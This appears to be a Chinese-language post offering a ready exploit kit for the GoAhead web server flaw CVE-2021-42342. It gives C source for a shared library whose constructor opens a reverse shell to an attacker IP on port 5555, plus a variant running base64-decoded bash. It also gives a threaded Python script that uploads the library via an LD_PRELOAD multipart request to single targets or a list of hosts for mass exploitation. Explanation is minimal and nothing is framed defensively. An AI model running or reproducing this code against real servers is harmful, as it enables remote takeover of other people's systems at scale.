Goahead的Nday漏洞复现利用及批量

gcc -s -shared -fPIC ./name.c -o name.so

#include<stdio.h>#include<stdlib.h>#include<sys/socket.h>#include<netinet/in.h>
char *server_ip="ip";uint32_t server_port=5555;
static void zhrmghgws(void) __attribute__((constructor));static void zhrmghgws(void){
    int sock = socket(AF_INET, SOCK_STREAM, 0);    struct sockaddr_in attacker_addr = {0};    attacker_addr.sin_family = AF_INET;    attacker_addr.sin_port = htons(server_port);    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
    if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)        exit(0);
    dup2(sock, 0);    dup2(sock, 1);    dup2(sock, 2);
    execve("/bin/bash", 0, 0);}

#include <stdio.h>#include <stdlib.h>static void zhrmghgws(void) __attribute__((constructor));static void zhrmghgws(void){  system("bash -c '{echo,bash编码值}|{base64,-d}|{bash,-i}'");}

#!/usr/bin/env python# -*- encoding: utf8 -*-from crypt import methodsimport refrom types import SimpleNamespaceimport requestsfrom bs4 import BeautifulSoupimport base64import warningsimport randomimport sysimport socketimport osimport argparseimport threadingfrom urllib.parse import urlparse, ParseResultimport jsonimport urllib3import urllibimport queueimport sslimport stringfrom time import sleepurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


#搜索存活主机purp = '33[95m'blue = '33[94m'red = '33[31m'yellow = '33[93m'green = '33[96m'end = '33[0m'
def title():    print("""


                   _______      ________    ___   ___ ___  __        _  _ ___  ____  _  _ ___                    / ____     / /  ____|  |__  / _ __ /_ |      | || |__ |___ | || |__                   | |        / /| |__ ______ ) | | | | ) || |______| || |_ ) | __) | || |_ ) |                 | |       / / |  __|______/ /| | | |/ / | |______|__   _/ / |__ <|__   _/ /                  | |____     /  | |____    / /_| |_| / /_ | |         | |/ /_ ___) |  | |/ /_                   _____|   /   |______|  |____|___/____||_|         |_|____|____/   |_|____|                                                                                                                                                              


                                                                    www.bolean.com.cn                                                                                        """)    print('''                                                        批量访问模式：python3 cve-2021-42342.py -f XXX.txt -t threads                                                        单一访问模式：python3 cve-2022-42342.py -u http://xxx.com                                                        author:thRee

        ''')

q_file = queue.Queue()q_path = ["cgi-bin/index"]PAYLOAD_MAX_LENGTH = 16384 - 200
def genRandomString(slen=10):    return ''.join(random.sample(string.ascii_letters, slen))
def color(info):    return "[" + info + "]"
def put_queue(file_apth, q):    with open(file_apth, 'r', encoding='utf8') as f:        while True:            row = f.readline()            if not row:                return            q.put_nowait(row)
def get_queue(q):    pass

def exploit(client, parts: ParseResult, payload: bytes):    path = '/' if not parts.path else parts.path    boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))    padding = 'a' * 2000    content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)    data = fr'''POST {path} HTTP/1.1Host: {parts.hostname}Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary={boundary}Content-Length: {content_length}
--{boundary}Content-Disposition: form-data; name="LD_PRELOAD";
/proc/self/fd/7--{boundary}Content-Disposition: form-data; name="data"; filename="1.txt"Content-Type: text/plain
#payload#{padding}--{boundary}--'''.replace('n', 'rn')    data = data.encode().replace(b'#payload#', payload)    client.send(data)    resp = client.recv(20480)    resp = resp.decode()    return data,resp,path

def requ(url,payload):  # 请求目标url    for path in q_path:        if url[:4] != 'http':            uroo = "http://"  + url +  "/" + path            urooo = "https://" + url +  "/" +path            ur = [uroo,urooo]        else:            uroo = url + "/" + path             ur = [uroo]        for uri in ur:            try:                if len(payload) > PAYLOAD_MAX_LENGTH:                    raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)
                parts = urlparse(uri)                port = parts.port                if not parts.port:                    if parts.scheme == 'https':                        port = 443                    else:                        port = 80                context = ssl.create_default_context()                with socket.create_connection((parts.hostname, port), timeout=8) as client:                    if parts.scheme == 'https':                        with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:                            print(ssock)                            resp1=exploit(ssock, parts, payload)                            print("OK",uri)
                    else:                        print(client)
                        resp1=exploit(client, parts, payload)                        print("[-]",uri)            except Exception as ex:                pass                print(uri)                def run(url=None):    if not url:        while not q_file.empty():            try:                with open("name.so", 'rb') as f:                    payload = f.read()                requ(q_file.get_nowait().strip(),payload)            except Exception as e:                pass                #print("[-]ERROR:" , str(e),url)                return    else:        with open("name.so", 'rb') as f:            payload = f.read()        requ(url,payload)if __name__ == '__main__':    title()    parser = argparse.ArgumentParser(description="cve-2021-42342")    parser.add_argument('-u', '--url', type=str, help="url")    parser.add_argument('-f', '--file', type=str, help="url file path")    parser.add_argument('-t', '--threading', type=int, help="threading", default=5)    args = parser.parse_args()
    if args.file:        put_queue(args.file, q_file)        th = args.threading        ts = []        for n in range(th):            t = threading.Thread(target=run)            t.start()            ts.append(t)        for t in ts:            t.join()    elif args.url:        run(url=args.url)